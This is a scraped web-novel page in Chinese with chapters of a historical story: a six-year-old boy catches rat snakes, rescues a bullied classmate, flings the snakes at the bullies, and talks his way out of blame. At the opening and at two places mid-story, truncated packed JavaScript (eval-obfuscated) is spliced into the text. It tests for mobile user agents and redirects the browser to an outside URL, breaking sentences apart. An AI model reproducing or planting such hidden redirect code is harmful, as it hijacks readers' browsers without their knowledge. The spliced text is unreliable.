d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108061|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不算是小狗!” 韦楚怜伸手揪住韦仁的耳朵,狠狠拧了半圈儿,听见韦仁“嗷——”地叫了一声,才笑盈盈地松开手,随手将耳边散落的发丝别到耳后,韦楚怜得意道:“我可没答应你!” 韦仁疼得直跳脚,揉着红彤彤的耳朵蹦到沈决明身后,直等到那股锐痛消失,韦仁才探头对韦楚怜说:“扯平了?” 韦楚怜轻哼一声算是同意休战,接过气喘吁吁的僮使递过来的手帕,韦楚怜一边擦汗一边看近处的一株桃树:“好香啊,可惜中看不中用,这些桃树结的果子又酸又涩,根本没法吃。” 韦仁心中一动:“你去年送我的桃子不会就是从这里摘的吧?” 韦楚怜耸耸鼻子:“你又没吃。” 韦仁:……废话,韦世然吃了一口直接吐了,他傻了才会跟着吃。 韦仁微阖双眼,感受着裹挟花香的微风拂过脸颊时的宜人凉意,舒服地无声喟叹,这里的生活有诸多不便,唯有空气,真心不错。 直到脸上的汗水干了,韦仁才重新睁开眼睛,发现韦楚怜还没走,问道:“楚怜从姊,你要去哪儿玩儿?” “你呢?” 韦仁指着不远处的山:“我要去那里看看。” 韦楚怜举手搭在眉心处,看了一会儿才说:“我和你一起,看看能不能抓到好玩儿的虫子。” 韦仁要去的山其实就是个土坡,不高,上面也没有高大的植被,除了星星点点的野花,几无景色可观。所以很少有人踏足,自然也就没有踩熟的路,沈决明走在最前面探路,韦仁跟在后面没什么目的地四处乱看。 说是乱看,韦仁会下意识地辨别入目的植物,所以看到不远处的一小片紫红色小花时,韦仁脑海里自然想到了地黄。 韦仁记得地黄最早在《本经》里有提到,但韦仁至今也没听谁提起过《本经》,家里与医有关的书籍不过《内经》、《汤液经》和一部只剩残卷的《黄帝岐伯按摩经》,以他们家的家世和藏书量作为标准,韦仁觉得,要想看到更多医经,多半只能找医学世家,或者去朝廷的藏书阁里寻。 韦仁正在胡思乱想,韦楚怜突然“哇——”地一声蹦到韦仁眼前,手里一只小儿巴掌大的步甲虫被怼到韦仁眼前,那六条闪着墨绿色光泽的长腿正在拼命倒腾,差点儿刮到韦仁的鼻子尖。 韦仁下意识后退一步,定睛看了一会儿才评价说:“我觉得还是黑色的好看。”韦楚怜手上这只是绿步甲,颜色很鲜艳,但韦仁不喜欢它背上的黑点儿。 没吓到韦仁,韦楚怜悻悻撇嘴:“没意思,我一会儿送去给君和从姊。” “君和从姊惹到你了?” 韦楚怜微微扬起下巴,眼睑半垂,斜睨着韦仁:“楚怜,这样浓的眼妆不适合你。我屋里的墨画手艺还不错,要不让她去教导一下你的僮使?” 除了姿态,韦楚怜大概还想模仿出韦君和那种矜持的语气,奈何太过用力,唯余做作,韦仁忍不住乐出声。 韦楚怜看着手里的步甲虫:“君和从姊当着大家伙儿的面这样体贴我,你说我是不是得谢谢她的好意?” 韦仁勉强压下嘴角,回应道:“是啊。但你直接送虫子也不好吧?君和从姊肯定不会收。” “那怎么办?” “你准备个好看一点儿的盒子,说送她一只漂亮的宝石虫。”听起来比较像女娘佩戴的首饰或者小摆设,而且步甲虫本来就有“爬动的宝石”之称,也不算骗人。嗯,虽然韦君和估计欣赏不来这种会动的宝石,韦仁默默地想。 韦楚怜眼珠子一转,嗤嗤笑起来,一边把步甲虫放进一个开口的荷囊里,一边嘲笑韦仁,“韦五,你越来越坏了。” “彼此彼此。”请安时二伯母卢氏说赵氏惯着他睡懒觉也就罢了,韦君和竟也跟着附和,哪怕她说得委婉,韦仁也很不喜欢。 韦仁和韦楚怜正在对着冒坏水,二人身后突然传来一声撕心裂肺的尖叫声:“蛇、蛇啊——!” 16. 上巳节三 声音是韦楚怜的僮使发出来的,韦楚怜一点儿没有身为姊姊应该保护弟弟的觉悟,咻地一下窜到韦仁身后,扒着韦仁的肩膀,从他的脑瓜顶上探头张望:“蛇?在哪里?”身为一个“人嫌狗厌”的女大王,韦楚怜还是有怕的东西的,比如蛇。 韦仁也被吓得一哆嗦,不是怕蛇,而是僮使的尖叫太可怕,不过他反应很快,只愣了一下就冲那僮使跑过去。 双方距离不远,韦仁跑到僮使身边时,那蛇还在,蛇身成黑褐色,背上有两条黑线纵纹,黑纹中间的鳞片则是褐色的,尾巴特别细。这么明显的特征,韦仁一下子就认出来了——乌梢蛇。 乌梢蛇的一系列药用价值只在韦仁的脑海里一闪而过,最后只剩下两个词:无毒、胆小。 韦仁放松下来,见那僮使脸色发白,开口安慰:“别怕,它是在晒太阳。” 看这蛇立起来的模样,没准它受的惊吓比这僮使还严重呢。 韦仁是松了一口气,沈决明却是被他吓了一跳,韦仁安慰僮使的话都没说完,沈决明已经挡在韦仁身前,等沈决明再转过身来时,那蛇的七寸处已经被沈决明死死抓在手里。 韦仁看那蛇大张着嘴巴无声呐喊的模样,都替那蛇叫屈:“你抓它做什么?”说完,韦仁又咽了口口水,“既然抓了,就带回去吧,晚上当加餐。”这年头,抓到手里的肉就没有放走的道理。 这一而再的,沈决明实在做不到面不改色,不仅没有点头应承,反而紧蹙着眉头盯着韦仁不放。 韦仁看到沈决明的脸色,不由问道:“你怕蛇?”此时的韦仁满脑子都在想这蛇是炖汤好还是红烧好、要不要分一点给梅先生制药……脑回路难得没跟沈决明的想法合上。 沈决明:…… 沈决明也是久违地觉得不能说话真是不便,深深吸了口气,沈决明才用空着的手抓住韦仁的手,待到韦仁摊开手后,沈决明重重在韦仁的手心上划了两个字:危险。 韦仁自那力道中后知后觉到沈决明的愤怒和后怕,不由“啊”了一声:“我吓到你了?不好意思,我下次注意。” 韦仁道歉道得干脆利落,沈决明一口气梗在胸口,再对上韦仁那双无辜的大眼睛,沈决明什么话也说不出来了。默默咽下那口气,沈决明转而看着手里被他捏得快断气的蛇,一时不知道该怎么办。 “先别杀,不然就不新鲜了。”韦仁将自己的披风解下来,兜成一个布袋,“放这里。” 韦仁和沈决明互相配合着,把蛇裹在披风里,因为没有合适的绳子,最后沈决明只得攥着袋口防止蛇爬出来。 那僮使这时早就躲得远远的,倒是韦楚怜看到蛇已经被困住,没那么怕了,走过来问:“没事吧?” “没事。” “是什么蛇啊?不是毒蛇吧?” 韦仁没说话,沈决明犹豫了一下,看向韦仁,韦仁特别熟练地伸出手,沈决明在韦仁的手心上写字。 韦仁按照沈决明写的念出来:“乌蛇,没毒。” 韦楚怜看了沈决明一眼后对韦仁说:“你这个家僮虽然不会说话,但挺能干。”说完嫌弃地看了眼自己的僮使,“我阿母想让我淑女些,给我配的人都是文文静静的,我觉得她根本就不用怕蛇,就她那叫声,我要是蛇,肯定先被吓死。” 韦仁看一眼韦楚怜的僮使,小姑娘长得白白净净,谈不上特别漂亮,但也算清秀。僮使的眼眶因为惊吓有些泛红,那模样和韦楚怜的名字简直绝配,韦仁不禁对她生出一丝怜惜:“三伯母能选她给你做僮使,肯定有她擅长的事情。” “这倒是,她做饭特别好吃,女工也很好。” “女工好呀,怪不得眼神那么好。”蛇隐没在草丛里还是很难被发现的。 韦仁看一眼沈决明手中的袋子,本着见者有份的原则,问韦楚怜:“这蛇要不要分你一半?” 韦楚怜却赶苍蝇似地摆了摆手:“我不要,蛇肉腥死了。” 因为遇到蛇,也抓到了喜欢的虫子,韦楚怜不想继续待在山上,韦仁不好放任两个女娘独自下山,只得随二人一起回转。 走到桃花林附近,韦仁和韦楚怜分道扬镳,带着沈决明换了一个更高一点的山包继续爬。 也不知道是不是巧合,二人竟然又遇到一条乌梢蛇,韦仁眉开眼笑地催沈决明去抓蛇:“快!好事成双!” 把第二条蛇也放进披风口袋里后,韦仁兴致勃勃地对沈决明说:“看来今天有蛇运,反正无事,咱们多找找,看看能不能抓出一顿全蛇宴。” 沈决明心塞,偶然遇上也就算了,哪儿有专门去抓蛇的,他们又不是捕蛇人。 沈决明正想着有什么办法能让韦仁做点儿正常六岁孩子做的事,视线突然定在一处,韦仁注意到沈决明的举动,也看过去——距离他们这里直线距离不足20丈的地方,有个男孩子正被另外两个男孩子抬着往溪水里扔。 今天这日子,蹲在溪边互相泼水嬉戏的大有人在,若不是被抬着的男孩子扭动得厉害,喊着“放开我”的声音中没有半点嬉闹的意味,韦仁多半得以为他们在玩闹。 若是陌生人,韦仁可能还得再观察一下情势,但只一瞬,韦仁就听出被扔的男孩子是熊大宝,这就不好不管了,韦仁扔下打草的棍子一扭身就往山下跑去。 看着不远的距离,韦仁后来还是被沈决明背在背上跑的,也花了一盏茶的时间才绕到那处溪水处,因为有一排灌木挡着,若不是从山上看到,一般人真发现不了。 韦仁和沈决明跑到那二人身边时,熊大宝早已被扔进溪水,熊大宝坐在溪水中,好在溪水不深,只没到熊大宝的肩膀处。熊大宝抬着双手挡住脸,而岸边的两个人则撅着屁股对着熊大宝拼命泼水,其中一人的手里竟然还拿着一个漆盘当作泼水工具。 若是之前韦仁只有七成认为这是“霸凌”现场,如今熊大宝完全被动的惨样儿和岸上两个人“哈哈哈”的笑声也把剩下那三成给补上了。 韦仁对着其中一个圆滚滚的屁股就踹了过去,因为心底窝着火,韦仁这一脚根本没留力,结果对方只是晃了晃,甚至连半步都没往前挪,反而是韦仁自己没受住反作用力,倒退了一步。 韦仁一时之间有些茫然,反应过来后,立马看向身边的沈决明,沈决明忍住突如其来的笑意,趁二人还没完全转过身时,踢出两脚把人分别踹下水。 两个男孩子几乎同时落水,伴随两声高亢的惊叫,二人在熊大宝斜前方砸出两团巨大的水花。 熊大宝听到喊声,才把手臂放下,又被泼了个大的,赶忙又把眼睛闭起来。 沈决明没用韦仁吩咐,踹完人后马上下水去抱熊大宝,熊大宝被抱上岸后还是有些懵懵的,只抬手抹开眼前的碎发。 熊大宝睁开眼睛正与韦仁对上视线,眼神先是惊讶后是惊喜,熊大宝张开嘴巴想叫一声“韦仁”,不过声音似是被卡在了嗓子眼儿,愣是没有发出来。 韦仁的视线定在熊大宝额前的红色,蹙眉拉过熊大宝的手,见他的手心里果然有一道半寸长的伤口,伤口有些深,还在细细往外渗血。 韦仁将熊大宝的手举高,拉过他另外一只手的拇指按在脉搏处:“按着。” 说完,韦仁开始四下踅摸,这一看,发现能用的草药还不少,韦仁就近薅了一把车前草的叶子,聊胜于无地在溪水里涮了涮,然后一股脑塞进熊大宝嘴里。 熊大宝:…… 还没反应过来就被塞了一嘴野草,带着土腥味的苦涩迅速在口腔中蔓延开来,熊大宝下意识就想吐。 韦仁却是一把捂住熊大宝的嘴,吩咐道:“嚼烂了,别咽。” 熊大宝无法,只得皱着小脸儿开合牙齿,然后按照韦仁的指示将嚼烂了的车前草吐在手心的伤口处,韦仁这才抽出手帕给熊大宝包扎伤口。 而此时,被沈决明踹下水的两个人已经站起身。因为沈决明收了力,二人没有受伤,只是形容十分狼狈,二人只用看看对方那落汤鸡似地不停滴水的模样就能想象自己现在的样子。 二人都气得不轻,特别有默契地同时举起手,指着韦仁破口大骂: “你谁啊?干嘛踹我们?是不是找揍?!” “死竖子!我们和大宝玩儿呢,要你多管什么闲事?!”说着,就把掉下水也没撒手的漆盘扔了过来。 韦仁吓了一跳,正要躲闪,沈决明已经伸手替他和熊大宝挡掉这一击。 漆盘落到草地上,弹跳了两下,没有发出太大的声音,却将韦仁勉强压下去的火气再次挑起。 韦仁手指一勾将手帕系紧,转头盯着水里的两个人,二人大概十一二岁,但比沈决明壮硕许多,眉眼间与熊大宝有三四分像,又听他们直接叫“大宝”,韦仁猜他们应该是熊大宝的亲戚。但这样的猜测也只是让韦仁更加愤怒,韦仁冷冷地说:“快滚,不然我让你们好看。” 韦仁自觉声音十分冰冷,但囿于年龄,他的声音其实又软又糯,旁人听了只觉得好笑。 果然,看到韦仁和沈决明一个矮墩子,一个瘦杆子,亲戚二人组完全不惧。二人互相对视一眼,一边撸袖子,一边一起向着韦仁这边冲过来:“看看咱们谁滚!” 沈决明见状,侧跨一步就要挡在韦仁和熊大宝身前,韦仁却是抢先扯过沈决明一直抓在手里的披风布袋,一扬手就把里面裹着的两条乌梢蛇给扬了出去! 双方距离本就不远,加之二人又往前冲了两步,韦仁这一甩,两条乌梢蛇几乎是被直接拍在二人身上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108062|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 碰撞的那一刻,真说不清是人更懵逼,还是蛇更懵逼,等双方都反应过来后,蛇已经坠下溪水一溜烟儿游走了,两个少年却是发出了惨绝人寰般的尖叫声:“啊——!” 韦仁恶狠狠地喊道:“滚!” 声音还是软软的,但被吓得大脑一片空白的二人这次却像是得到指令一般,片刻没耽搁,连滚带爬地逃走了。 韦仁看着二人仓惶的背影,重重哼了一声:“算你们识相!” 韦仁再转头看向熊大宝时,熊大宝不禁打了个哆嗦,韦仁以为他是冷着了,一抖披风想给他披上,熊大宝却连退两步,哆哆嗦嗦地说:“蛇、蛇。” 韦仁低头看看披风,安慰道:“没事,之前用背面包的。” 熊大宝死命摇头,坚决不肯披。 韦仁自己准备趟水时没多想,看着浑身湿透的熊大宝却有些担心,熊大宝正处在“脏腑娇嫩、形气未充”的阶段,刚刚又是受惊又是泡水的,一不小心可能小命就没了。 哪怕不喜勉强别人,韦仁这时也不顾及熊大宝的意愿了,只吩咐沈决明:“按住他。” 熊大宝真是被韦仁给吓着了,沈决明其实只是把手轻轻放在熊大宝肩上,熊大宝愣是没敢动,任由韦仁走过来给他披上披风,那样子活像一个不敢反抗丈夫的小媳妇,也像一个受到后母欺压的失恃儿童。 才给熊大宝系好披风,熊大宝的鼻孔中突然冒出一个鼻涕泡,韦仁以前所未有的速度拉起熊大宝的袖子,直接呼在了熊大宝的脸上,摸索着给熊大宝擦好鼻涕,韦仁才松开手,当作刚刚什么都没做的样子说回前言:“怕什么?你平时看着也不怂呀。” 换做平时,熊大宝大概也会直白地说“我怕蛇,而且你刚刚比蛇还吓人”,此时的熊大宝却什么也不想说,头发水鬼一样一缕缕地贴在脸上,眼白不知道是被水浸的,还是哭的,布满了血丝。 这样子把韦仁看得也有些不忍,韦仁不再逗熊大宝,问沈决明要了帕子,给他擦了擦头脸,动作都轻柔许多。 韦仁抬头对沈决明说:“你背着他,得快点儿让他换上干衣服。”刚刚洗车前草时韦仁已经感受过溪水的温度,比他想象得还凉些,再看一眼沈决明同样湿了的裤脚,韦仁蹙眉,“也不知道梅先生有没有带姜过来,你们都得喝一些姜水。” 话毕,三人一起离开这个是非之地。 绕过灌木丛后,人群嬉闹的声音逐渐清晰起来,或许是空气中满满的欢悦气息,或许是沈决明的后背足够温暖,也或许是终于缓过劲儿了,熊大宝突然就哭起来。 熊大宝的头埋在沈决明的肩膀处,哭声细细闷闷的,韦仁原还想问熊大宝的家人在哪里,见他如此,又把话咽回去了,沈决明更是不会说话,二人却不约而同加快了步子。 韦仁领着熊大宝去车马棚换上自己的备用衣服后,直接带他回去了韦家休息的地方。 韦仁的衣物赵氏就没有不熟悉的,见到熊大宝穿着韦仁的衣服,便对韦仁露出了询问的目光。 “他是熊大宝,我的同桌。”韦仁拉着熊大宝的手给赵氏看,“阿母,他的手伤了,梅先生呢?” 赵氏先吩咐阿珀去找梅先生,然后就开始招呼熊大宝。赵氏也不问发生了什么事,只管招呼熊大宝吃果子,又和他聊一些韦仁和学馆的事。 甜食下肚,再有赵氏的刻意引导,熊大宝原本低落的情绪渐渐恢复,直到梅先生来给熊大宝重新上药包扎伤口时,熊大宝貌似已经忘记之前的不愉快,开始笑呵呵地和赵氏说起韦仁教他筹算的事。 时间已到午时,韦家散落各处的人陆续回来准备共用午食,韦家三房人齐聚,一时热闹非凡。 韦仁早上因为睡觉错过和二房、三房的伯父以及兄嫂问安,这时一次性补齐,中间不免被规训和考教,等忙完这些,韦仁才重新回到赵氏身边。 赵氏正在邀请熊大宝和他们一起用午食,韦仁看出熊大宝有些不自在,就问他:“你是要留在这里和我们一起用午食,还是我送你回去?” 熊大宝只稍微犹豫了一下,就说:“我还是回去吧。”熊大宝与赵氏解释,“多谢赵叔母留饭,只是家母叮嘱我今天要和亲戚们一起用午食,以后有机会,我再陪赵叔母用饭。” 赵氏自然不会勉强,笑着说:“既如此,我就不强留你了,休沐时,你若有空,就来家里玩儿,叔母给你准备好吃的。” 熊大宝正欲起身与赵氏行礼告辞,没想到不远处突然有人扬声:“找到了!就是他!大兄,就是他放蛇咬我们!” 附近听到这话的人都看向说话的少年,韦仁也回过头去看,不远处站着四个人,只有说话的人还算眼熟,正是之前对他扔漆盘的熊孩子二号。 17. 上巳节四 韦仁的目光从熊孩子二号身上挪到他身后两个家僮打扮的中年男子身上,二人皆是猿臂蜂腰的健壮身材,身高足有八尺,韦仁必须高高扬起头才能看清二人的容貌。 韦仁的眼睛迅速扫过周围,找到跪坐在韦玄成身后的许靖,以及更远处的衙役,心下大安,随后,韦仁才忖度起那个没有出现的熊孩子一号,这是出了什么事? 一边思索着,韦仁已经自毡毯上站起身,在赵氏等人惊诧的目光中,韦仁穿行过坐着的几人,一直走到最前面,目光也最终定在熊孩子二号身侧的青年身上。 青年身形修长,长相斯文,身着嵌有暗纹的白衣,头戴一梁进贤冠,韦仁一时也判断不出对方是学生还是低级官吏,所以没有第一时间开口。 看着青年四人的人虽不少,但如韦仁这般主动靠近的却是没有,杨启的目光自然落在韦仁身上。 熊孩子二号看到韦仁就气不打一处来,指着韦仁:“你还敢过来?!” “你不就是来找我的?” 虽然韦仁已经承认了,但垂眸看着走到自己面前的韦仁,杨启仍是忍不住向弟弟确认:“是他?” 熊孩子二号气咻咻地瞪着韦仁,磕巴都没打地点头,向大兄告状:“就是他!” 见弟弟如是说,杨启才真的确认,对面这个只到他大腿的娃娃就是弟弟口中那个放蛇咬人的凶恶之徒。杨启真是后悔没问清楚“凶恶之徒”的年纪就跑来兴师问罪,他虽听说是熊大宝的朋友,却是理所当然地以为对方起码也得是个和弟弟一般年岁的少年人。 三人说这几句话的功夫,听出几分意思的韦玄成已经走了过来,韦玄成与杨启四目相对后,双方眼中皆闪过意外之色。 杨启的视线在韦仁和韦玄成身上走了个来回,这才察觉二人的鼻子和嘴唇简直是一个模子刻出来的,心下各种思量不提,杨启已经躬身对韦玄成揖礼,口称:“韦师叔。” 韦玄成走到近前,一只手搭在韦仁的肩膀上后才对杨启颔首,说道:“原来是智之啊。”扫一眼愤愤的杨翰和淡定自若的韦仁,韦玄成问道,“怎么回事?” 韦玄成一句问话,直接开启会审模式。 杨翰最开始那一嗓子喊得附近的人都听到了,韦玄成便也没另择僻静地方,索性邀请杨启在自家的毡毯上落座。 韦仁和杨翰自然只能站着,熊大宝这时也从原先的位置站起身,走到杨启跟前与他行礼:“启内兄。”顿了顿,熊大宝也对着杨翰叫道,“翰内兄。” 因为要行礼,熊大宝已经把披风的帽子扯了下去,韦仁没等他抬起上身,抬手就把帽子给他扣了回去:“等头发干了再摘。” “知道了。”熊大宝半张脸埋在阴影里,只听声音的话,倒也没觉得熊大宝有什么情绪。 杨启先看了一眼韦仁,随后才与熊大宝说道:“杨翰他们害你跌进水里的事我知道了,事后我必罚他们,你还好吧?” 熊大宝摇了摇头,带动着水蓝色的披风帽子跟着晃了晃:“我没事。” 比起熊大宝的“通情达理”,韦仁听到杨启轻飘飘一句“害你跌进水里”时,毫不掩饰地嗤笑出声,心里却在琢磨,熊大宝这个内兄是姑姑家的,还是舅舅家的,好像还挺有威信的。 杨启自然听到了韦仁的笑声,他有些不满,不管杨翰杨明和熊大宝是怎么闹的也是他们的家事,还轮不到一个外人插手。因为这份不满,杨启心中的尴尬倒是浅了少许,他没理会韦仁,而是对着韦玄成将事情始末讲述了一遍。 若是面对陌生人,杨启在说完事情后肯定要质疑一把韦仁的凶暴,但一来韦仁的形象与凶暴之类的词汇相差甚远,杨启有些说不出口,二来,坐在对面的毕竟是自己的师叔,杨启最终只委婉地说:“韦师叔,我不是包庇杨翰和杨明,他们自然有错,事后我一定会罚他们,但杨明胳膊上的伤口很深,身为他的兄长,我总得来问一问。” 听到杨明被咬,韦仁忍不住蹙了蹙眉,不过忧虑之类的情绪才生出来就如阳光下的露珠般迅速消散了——这时候的大夫不一定能治得好伤寒,治疗无毒蛇的咬伤却是经验丰富。 相比韦仁的不动声色,韦玄成听完杨启的话,表情明显严肃起来,韦玄成沉眉盯着韦仁,问道:“五郎,扔蛇咬人的事,你认不认?” 韦仁向来信奉“坦白从宽,牢底坐穿”,怎么可能会认这事:“我不认。” 韦仁不仅不认,还反问杨启:“杨师兄,我这样称呼你,可行?”待到杨启点头,韦仁才接着说,“且不论蛇的事是不是杨翰和杨明造谣污蔑,我也想问问,为什么杨翰和杨明要以大欺小,以多欺少,先把我的同窗——也就是你们的弟弟扔到水里?” “我们三人一起玩水,关你什么事?!” 杨启看一眼杨翰,杨翰不甘不愿地闭上嘴巴,杨启这才重新看向韦仁,说道:“我说过了,之后会罚他们。你若只是把他二人踹下水,我也不会追究,毕竟是他二人有错在先,但放蛇咬人就过分了。” “他们说蛇是我放的你就信?杨师兄,你看我这个样子像是会放蛇咬人的人吗?”韦仁张开双臂,原地转了个圈儿,充分展现了自己的弱小和无助,“我承认他们是我让家僮踹下水的,但水里有蛇游过总不能赖我。” 别说,除了知道韦仁确实抓了蛇的韦楚怜和她的使女猜测韦仁多半真的干了放蛇咬人的事外,韦家和其他看热闹的人都觉得韦仁这么丁点儿大的孩子干不出那么凶残的事来。 杨启同样被堵得说不出话,若不是杨翰杨明指天画地地发誓没有撒谎,他也不能信呐。 韦仁的话却还没说完:“而且,说句不好听的,杨明被咬也是恶有恶报,你说杨明胳膊上的伤口很深,熊大宝的手也伤得不轻。”韦仁摊摊手,“从因果上论,我实在看不出杨师兄你有什么理由来找我问罪。” 杨启还真不知道熊大宝受伤的事,眼带询问地看向熊大宝:“大宝,你受伤了?怎么弄的?” 熊大宝伸出右手,那里裹着纱布:“我没注意,可能是被溪里的石头割的。” “你袒护你那两个内兄做什么?谁知道是不是他们扔你的时候伤的你。别人都是好了伤疤忘了疼,你这伤可还没结疤呢。”韦仁故意说道,“伤口可深了,若不是梅先生带了上好的伤药,血根本止不住,不信你们可以去问梅先生。”说着,韦仁还转头四处看,一副要找梅先生过来作证的样子。 杨启一面生气两个弟弟的不知轻重,一面对韦仁刚刚说的“恶有恶报”的恶毒言辞也甚是不悦。 杨启眉间的褶皱越发深刻,眼底尽是凝沉疑惑,一开始还不觉得,但说了这一会儿话,杨启才察觉有哪里不太对——他怎么和一个六七岁的孩子认真争论起来了?而且韦仁也太能说了,不仅口齿清晰,言语嘲讽,还反过来把错全扣在了杨翰和杨明身上。 杨启还在思虑,杨翰却是快被韦仁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说完,韦仁重新看向杨启:“杨师兄,你有何证据认定蛇是我放的?杨明和杨翰的话可不算是证据。”韦仁嗤笑,“你也别用‘真率’这种词来美化他们,真诚坦率的人不会骗人,却会欺负年幼的内弟吗?” 杨启被问得哑口,但如他自己说的,他对两个弟弟还是了解的,而且杨翰和杨明之前的惊恐以及愤怒也绝不是能装出来的。 韦仁的余光看到韦玄成对他这边眯了眯眼,心底打了个突,面上神色却未变。 好在韦玄成没继续看他,而是转向杨启,问道:“我信你有自己的判断,但我也不能冤枉了孩子,除了杨翰和杨明,可还有其他人看见了?” 杨启看一眼杨翰,恨铁不成钢的同时也不想自己弟弟平白被人欺负,杨启看向一直低着头的熊大宝,熊大宝似是感受到了杨启的视线,抬起了头,那目光不说怯懦吧,也好不到哪里去。 杨启温声说:“大宝,今天的事你受了委屈,我不会轻轻放过此事,你们都是我的弟弟,我不希望任何一人受委屈,也不希望有谁平白担上不诚的污名。大宝,你与我说说,那蛇到底是怎么回事?” 韦仁这一刻才真是厌恶起杨启这个人,真是柿子捡软的捏,捏的还是快被欺负成柿饼的那一个。 韦仁稍稍纠结了一下,最终决定好人做到底,正欲认下扔蛇的事,就听到熊大宝开口: “启内兄,我也不知道那蛇是从哪里来的,韦仁那时候正在给我包手,我听到明内兄大叫,我看他时,他身上就爬了一条蛇。不过那蛇很快就落到水里了,我没看到那蛇咬没咬他,他现在怎么样了?” 18. 罚跪的理由一 呦呵,这话说得有水平。韦仁微微侧头,打量起他这个同窗,真是人不可貌相呀! 熊大宝的眼睛却始终看着杨启,那蚊呐般的声音落下,熊大宝才垂下眼帘,大滴大滴的眼泪随即涌出眼眶,顺着脸颊砸在前襟上。这模样,任谁看了也不会怀疑他是因为对着长辈撒谎压力太大害怕哭的,只觉得他受了大委屈。 熊大宝这反应顿时让杨启骑虎难下,杨启的眼神从愕然转换成尴尬,又从尴尬转换成森然,最后,杨启怒视杨翰,从后槽牙里挤出两个字:“杨、翰。” 杨翰被兄长叫得打了个哆嗦,脸色涨红地辩解:“他们撒谎!” 站在被欺负的人的立场,杨启对熊大宝也不是百分之百相信,但比起自家弟弟,无论从年龄上还是从性格上而言,熊大宝确实比杨翰更加值得信任。 杨启当机立断对韦玄成行礼道歉:“是我见弟弟受伤就乱了方寸,没搞清楚事情原委。师侄惭愧,望师叔原谅。” “说不上原谅不原谅的,男孩子哪里有不淘气的。” 韦玄成一句话把几个孩子,包括杨启做的事全部归于“淘气”,杨启有些羞窘,但也松了口气。 杨启看向杨翰:“过来,与韦师弟和大宝道歉!” 杨翰满脸不服气,但慑于长兄难看的脸色,杨翰最终不情不愿地对熊大宝和韦仁行礼道歉。说是道歉,但杨翰其实什么话都没说,只有眼珠子是红彤彤的,不知道是气的还是恨的。 杨启蹙眉,想斥责杨翰,又不想让弟弟太过难堪。 好在熊大宝特别体贴,面对杨翰的道歉,熊大宝连忙侧身避让不说,还一边摆手一边摇头一边吸鼻涕一边含混地说:“我没事、我没事。” 韦仁一边感慨同桌演技了得,一边腹诽:现在才想起来道歉,早干嘛去了? 看杨翰那不诚心的德行,韦仁也懒得搭理,只幅度不大地点了下头后,韦仁就看向杨启,说道:“无论如何,杨明是我让人踹下水的,他被咬也有我的一点点原因,你帮我和他说,我特别希望他早日康复。” 杨启一时无法分辨韦仁是不是在嘲讽,只抽着嘴角回应:“那我就替舍弟多谢你了。” 气氛缓和下来,韦玄成这时方开口,向杨启问了几句杨明的伤势,确定伤口虽深,但应无大碍后,韦玄成才说:“让梅先生与你一起回去,给孩子们都看一看。” 杨启忙说:“不必劳烦韦师叔,我家那边也请了大夫。” 韦玄成摆摆手,不容置疑地说:“让梅先生去一趟,不然我也不放心。” 杨启这才应了。 韦仁站在一边,突然想起一事,插言道:“阿翁,熊大宝一直流鼻涕,也要麻烦梅先生给看看,我答应他的。” 韦玄成瞥韦仁一眼,那一眼说不出的意味深长,就在韦仁心底打鼓时,韦玄成却只淡淡应了一声:“行,我与梅先生说。” 事情告一段落,韦仁不免被家里人围着追问事情始末,韦仁眼都不眨地把自己“助人为乐”的英勇事迹宣传了一遍。韦仁还编了一段儿自己和蟒蛇搏斗,成功救下差点儿葬身蛇口的同窗的故事,听得众人哭笑不得,倒是冲淡了他和杨启争论时咄咄逼人的模样。 韦仁说得唾沫横飞时还忙里偷闲地与韦楚怜互相投递了一个心照不宣“此事保密”的眼神,说起来,韦仁都得庆幸和他一起上山的是韦楚怜,若换做韦世然,他抓到蛇的事估计早就宣扬开了。 韦仁原本以为赵氏和韦玄成还会私下再问他一些事,结果提心吊胆一个中午,韦玄成和赵氏都似是无事发生一般,韦仁便也将上午的事情丢到脑后,睡足午觉就带着沈决明继续去爬山。 韦仁这次倒是没有再去找蛇,主要是他觉得,今天和蛇肉的缘分可能都是镜花水月。 韦仁不想做无用功,就只是到处乱逛,像踩地图似的,把能走的地方都走了一遍。最后在沈决明的帮助下,韦仁连根带土地挖了几丛艾草回去,打算种在院子里。 韦仁第一次踏青,真是踏了个够本,回家时小腿肚子直打颤,从休息的地方到车马棚都是趴在沈决明背上让他背着走的。 虽然身体很累,但韦仁心情很好,还想着吃完晚食后就去把艾草种上,然后好好洗个澡,就可以上床睡觉了。 结果才到家,一家五口在正堂随便说了几句话,正准备各自去洗漱,一直笑眯眯的韦玄成忽然将大部分家僮遣出正堂,然后把脸一撂,对着韦仁喝道:“跪下!” 不止韦仁,连韦世然和韦元茹都被吓了一跳,韦仁在确认韦玄成是在对自己说话后,下意识地瞄了沈决明一眼。 沈决明对视线很敏感,第一时间察觉到韦仁的目光,二人对上视线后,一抹幽光自沈决明眼底划过,除此之外,沈决明没有更多的反应。 韦玄成沉下声音:“韦仁,过来跪下,不要让我说第三遍。”韦玄成鲜少发脾气,哪怕如今这脾气不是对韦元茹和韦世然发的,听到韦玄成直接叫了幼弟的名字,姊弟二人也是大气不敢喘。 